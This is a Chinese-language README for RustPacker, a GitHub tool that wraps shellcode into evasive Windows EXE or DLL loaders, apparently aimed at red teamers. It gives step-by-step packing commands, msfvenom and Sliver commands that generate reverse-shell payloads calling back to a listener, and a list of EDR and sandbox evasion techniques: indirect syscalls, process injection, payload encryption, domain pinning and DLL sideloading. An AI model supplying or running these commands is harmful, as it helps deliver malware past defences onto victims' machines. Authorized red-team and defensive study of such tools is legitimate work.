Nariod/RustPacker
GitHub: Nariod/RustPacker
一款基于 Rust 的模板化 shellcode 打包工具,专为渗透测试和红队设计,可将原始 shellcode 转换为具备多种规避能力的 Windows 二进制文件。
Stars: 333 | Forks: 33
只需一条命令,即可在任何操作系统上,将原始 shellcode 转换为具有规避能力的 Windows 二进制文件。
专为经过授权的渗透测试人员和红队操作人员设计。
## 🤔 新手入门?请先阅读本节
### 什么是 RustPacker?
**Shellcode** 是由 C2 框架(Metasploit、Sliver、Cobalt Strike 等)生成的一小段机器码,用作 payload。它本身只是一串字节,需要一个*加载器*才能在目标 Windows 机器上运行。
**RustPacker 就是这样一个加载器生成器。** 它会获取你的 shellcode,并将其封装在一个 Rust 程序中,该程序负责处理:
- **加密** — 使 payload 在磁盘和内存中看起来像随机字节
- **注入** — 将代码映射到 Windows 进程中并执行
- **规避** — 降低被 EDR/AV 传感器检测到的几率
最终生成的是一个 `.exe` 或 `.dll` 文件,供你在经过授权的测试项目中投递给目标。
### ✨ 核心功能
- **多种注入模板** — CRT、APC、Fibers、EarlyCascade 等…
- **加密** — XOR、AES-256、UUID 编码
- **Syscall 规避** — 使用间接 syscall 绕过 EDR 的用户态 hooks
- **EXE 和 DLL 输出** — 包括 DLL 代理 / 侧加载
- **沙箱规避** — 域名锁定可防止在分析沙箱中被触发执行
- **跨平台构建** — 通过 Podman 或 Docker 在 Linux、Windows、macOS 上运行
## 🚀 快速开始(Linux — 推荐方案)
### 第 1 步 — 安装 Podman
```
# Ubuntu / Debian
sudo apt install podman
# Fedora / RHEL
sudo dnf install podman
```
验证:`podman --version`
### 第 2 步 — 克隆并构建容器
```
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile
```
此步骤只需执行**一次**。之后镜像将在本地缓存。
### 第 3 步 — 你的首次构建
1. 使用 msfvenom 生成测试 shellcode(一个无害的 `MessageBox` 弹窗):
```
msfvenom -p windows/x64/messagebox TEXT="RustPacker works!" TITLE="Test" -f raw -o shared/test.raw
```
2. 打包:
```
podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker \
-f shared/test.raw -i ntcrt -e aes -b exe -t notepad.exe
```
3. 查找你的二进制文件:
```
[+] Source binary has been renamed to: "shared/output_1234567890/target/x86_64-pc-windows-gnu/release/AbCdEfGh.exe"
```
编译后的 `.exe` 位于 `shared/output_
/target/x86_64-pc-windows-gnu/release/` 目录中。
### 创建别名以方便使用
将其添加到你的 `~/.bashrc` 或 `~/.zshrc` 中,以避免每次都输入完整的 `podman run` 命令:
```
alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'
```
然后直接使用:
```
rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exe
```
🪟 Windows 设置说明
### 第 1 步:安装容器运行环境
**选项 A — Podman Desktop(推荐):**
1. 下载并安装 [Podman Desktop](https://podman-desktop.io/)
2. 启动 Podman Desktop 并按照引导设置初始化 Podman 机器
3. 验证:`podman --version`
**选项 B — Docker Desktop:**
1. 下载并安装 [Docker Desktop](https://www.docker.com/products/docker-desktop/)
2. 在安装过程中启用 WSL 2 后端(推荐)
3. 验证:`docker --version`
### 第 2 步:克隆并构建
```
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker
podman build -t rustpacker -f Dockerfile
```
### 第 3 步:打包 Shellcode
```
# 将你的 shellcode 放置在 shared 文件夹中
copy C:\path\to\payload.raw shared\
# PowerShell
podman run --rm -v ${PWD}/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker `
-f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
# cmd.exe
podman run --rm -v %cd%/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ^
-f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
```
**PowerShell 别名:**
```
function rustpacker { podman run --rm -v "${PWD}/shared:/usr/src/RustPacker/shared:z" rustpacker RustPacker @args }
```
🍎 macOS 设置说明
```
brew install podman
podman machine init
podman machine start
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile
alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
```
🦀 替代方案:原生模式(需要 Rust 工具链)
如果你已经安装了 Rust,可以直接运行 RustPacker,而无需先构建容器。它会**自动检测** Podman 或 Docker,并仅在交叉编译时使用容器:
```
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo build --release
# Linux / macOS
cargo run -- -f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe
# Windows (PowerShell)
cargo run -- -f shared\your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe
```
首次运行会构建一次 `rustpacker-builder` 镜像。后续运行将重用缓存的镜像和共享的 cargo registry 卷,以实现快速构建。
## 🛠️ 选择模板
| 我想要… | 推荐模板 |
|------------|---------------------|
| 注入到**另一个进程**(例如 notepad、explorer) | `ntcrt`(隐蔽)或 `syscrt`(最大程度规避) |
| 在**当前进程**内运行(自注入) | `ntapc` 或 `ntfiber` |
| 作为** DLL** 运行,在加载时触发 | `ntapc`、`winfiber`、`ntfiber` 或 `sysfiber` |
| 最大程度的 **syscall 规避** | `syscrt`(远程)或 `sysfiber`(自身) |
| 最小依赖,快速测试 | `wincrt`(远程)或 `winfiber`(自身) |
| Shim 引擎 / EarlyCascade 技术 | `earlycascade` |
### 进程注入模板(与 `-t ` 配合使用)
这些模板将 shellcode 注入到远程进程中。默认目标:`dllhost.exe`。
| 模板 | API 级别 | 间接 Syscalls | 动态 API | 描述 |
|----------|-----------|:-----------------:|:-----------:|-------------|
| `wincrt` | 高 (Windows-rs) | ❌ | ❌ | 通过官方 Windows crate 调用 CreateRemoteThread |
| `ntcrt` | 低 (ntapi) | ❌ | ✅ | 通过动态解析 NT API 调用 NtCreateThreadEx |
| `syscrt` | Syscall | ✅ | ❌ | 通过间接 syscall 调用 NtCreateThreadEx |
| `earlycascade` | 低 (winapi) | ❌ | ❌ | 通过劫持 shim 引擎回调实现 EarlyCascade 注入 |
### 自执行模板(无需 `-t`)
这些模板在当前进程内执行 shellcode。
| 模板 | API 级别 | 间接 Syscalls | 动态 API | 描述 |
|----------|-----------|:-----------------:|:-----------:|-------------|
| `ntapc` | 低 | ❌ | ✅ | 通过动态解析 NT API 向当前线程队列发送 APC |
| `winfiber` | 高 (windows-sys) | ❌ | ❌ | 通过 Windows API 进行基于 Fiber 的执行 |
| `ntfiber` | 低 (ntapi + windows-sys) | ❌ | ✅ | 通过动态解析 NT API 进行基于 Fiber 的执行 |
| `sysfiber` | Syscall (ntapi + windows-sys) | ✅ | ❌ | 通过间接 syscall 进行基于 Fiber 的执行 |
## 📖 命令行选项
```
Usage: RustPacker -f -b -i -e [OPTIONS]
Required:
-f Path to the raw shellcode file
-i Injection template: ntapc, ntcrt, syscrt, wincrt, winfiber, ntfiber, sysfiber, earlycascade
-e Encryption method: xor, aes, uuid
-b Output binary format: exe, dll
Optional:
-t Target process to inject into (default: dllhost.exe, CRT templates only)
-s Domain pinning: only execute on the specified domain name
-p DLL proxying: path to legitimate DLL to proxy, placed in shared/ (requires -b dll, self-injection templates only)
-o Custom output path for the resulting binary
-h Print help
-V Print version
```
## 📋 使用示例
### 生成 Shellcode
**Metasploit (msfvenom):**
```
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f raw -o shared/payload.raw
```
**Sliver:**
```
# 在 Sliver 控制台中
generate --mtls 192.168.1.100:443 --format shellcode --os windows
# 然后将生成的 .bin 文件复制到 shared/ 文件夹
```
### 打包示例
**使用 AES 加密的基础 EXE(远程注入到 notepad):**
```
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
```
**使用 XOR 加密的 DLL(通过 APC 自注入):**
```
rustpacker -f shared/payload.raw -i ntapc -e xor -b dll
```
**使用间接 syscall(远程注入到 explorer):**
```
rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exe
```
**UUID 编码(shellcode 隐藏为 UUID 字符串):**
```
rustpacker -f shared/payload.raw -i ntcrt -e uuid -b exe -t notepad.exe
```
**带域名锁定(仅在 MYDOMAIN 上触发执行):**
```
rustpacker -f shared/payload.raw -i winfiber -e aes -b exe -s MYDOMAIN
```
**自定义输出路径:**
```
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -o shared/my_binary.exe
```
**DLL 代理(侧加载):**
```
# 1. 将你想要代理的 DLL 复制到 shared/ 文件夹中(容器访问需要)
cp /mnt/c/Windows/System32/version.dll shared/ # from WSL
# 或者:copy C:\Windows\System32\version.dll shared\ # from Windows
# 2. 代理 version.dll — 仅兼容 self-injection 模板(ntapc, winfiber, ntfiber, sysfiber)
rustpacker -f shared/payload.raw -i ntfiber -e aes -b dll -p shared/version.dll
```
代理 DLL 会将所有导出转发给重命名后的原始文件(`version_orig.dll`),并在加载时通过 `DllMain` 执行你的 shellcode。部署时,将代理 DLL 与目标应用程序放在一起,并将原始 DLL 重命名(例如,将 `version.dll` 重命名为 `version_orig.dll`)。
## 🔒 检测规避
RustPacker 实现了多种规避技术:
- **无 RWX 内存**:内存先以 RW 权限分配,写入后再重新保护为 RX —— 绝不出现 RWX。这消除了 EDR/AV 使用的一个主要行为检测信号。
- **动态 API 解析**(`nt*` 模板):NT API 函数在运行时通过 `GetProcAddress` 解析,并使用经过 XOR 混淆的函数名(每次构建使用随机密钥)。这移除了 PE 导入表中可疑的 ntdll 导入。
- **间接 Syscalls**:绕过用户态 hooks(`syscrt`、`sysfiber` 模板)
- **Payload 加密**:XOR 编码、AES-256-CBC 加密或基于 UUID 的编码
- **字符串加密**:生成的加载器中的运行时字面量使用 litcrypt 包装,以减少静态字符串暴露
- **进程注入**:将执行隐藏在合法进程中
- **域名锁定**:仅在特定域中触发执行(沙箱规避)
- **静默失败**:二进制文件中没有描述性的错误消息 —— 所有失败都会静默退出,以避免 IoC 字符串检测
- **模板多样性**:多种执行方法以避免静态特征
- **Rust 编译**:生成去除了符号和经过 LTO 的原生二进制文件
## ⚙️ 本地安装(不使用容器)
如果你更喜欢在不使用容器的情况下进行编译(仅限 Linux):
### 前置条件
```
# Ubuntu/Debian
sudo apt update && sudo apt upgrade -y
sudo apt install -y libssl-dev librust-openssl-dev musl-tools mingw-w64 cmake libxml2-dev
# 安装 Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
rustup target add x86_64-pc-windows-gnu
```
### 构建并运行
```
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo run -- -f shared/payload.raw -i ntcrt -e xor -b exe -t explorer.exe
```
## 🐳 为什么选择 Podman 而不是 Docker?
出于[安全原因](https://cloudnweb.dev/2019/10/heres-why-podman-is-more-secured-than-docker-devsecops/),我们推荐使用 Podman 而不是 Docker:
- 默认提供无根容器(Rootless containers)
- 没有以 root 身份运行的守护进程
- 更好的安全隔离性
## 🤝 参与贡献
欢迎参与贡献!你可以通过以下方式提供帮助:
1. **代码审查**:审查代码库以进行改进
2. **问题反馈**:报告 Bug 或请求新功能
3. **模板**:贡献新的注入技术
4. **文档**:改进文档和示例
### 开发路线图
- [x] 多种注入模板
- [x] XOR、AES 和 UUID 加密/编码
- [x] 支持间接 syscall
- [x] EXE 和 DLL 输出格式
- [x] Docker 容器化
- [x] 域名锁定,感谢 [m4r1u5-p0p](https://github.com/m4r1u5-p0p)!
- [x] 针对 fiber 模板的间接 syscall
- [x] 跨平台支持(Linux、Windows、macOS)
- [x] 字符串加密
- [ ] 检查所有模板对 DLL 的支持
- [x] 添加 EarlyCascade 注入模板
- [x] 添加 DLL 代理支持
## 🙏 致谢
- [0xNinjaCyclone](https://github.com/0xNinjaCyclone) & [Karkas](https://github.com/Karkas66) - [EarlyCascade 注入技术](https://github.com/Karkas66/EarlyCascadeImprooved)
- [0xWerz](https://github.com/0xWerz) - 字符串加密实现
- [memN0ps](https://github.com/memN0ps) - 灵感与指导
- [rust-syscalls](https://github.com/janoglezcampos/rust_syscalls) - Syscall 实现
- [trickster0](https://github.com/trickster0) - OffensiveRust 仓库
- [Maldev Academy](https://maldevacademy.com/) - Fiber 执行技术
- [craiyon](https://www.craiyon.com/) - Logo 生成
## 📄 许可证与法律声明
**⚠️ 重要免责声明 ⚠️**
本工具仅供**教育和经过授权的渗透测试目的**使用。
- 未经双方事先同意对目标使用本工具是**违法的**
- 用户有责任遵守所有适用的法律
- 开发者不对滥用或造成的损害承担任何责任
- 仅在获得适当授权的环境中使用
**请负责任且道德地使用。**
**用 ❤️ 为网络安全社区打造**
[报告问题](https://github.com/Nariod/RustPacker/issues) • [参与贡献](https://github.com/Nariod/RustPacker/pulls) • [查看文档](https://github.com/Nariod/RustPacker/wiki)
标签:DNS 反向解析, Gophish, Rust, 可视化界面, 网络流量审计, 请求拦截, 通知系统, 间接系统调用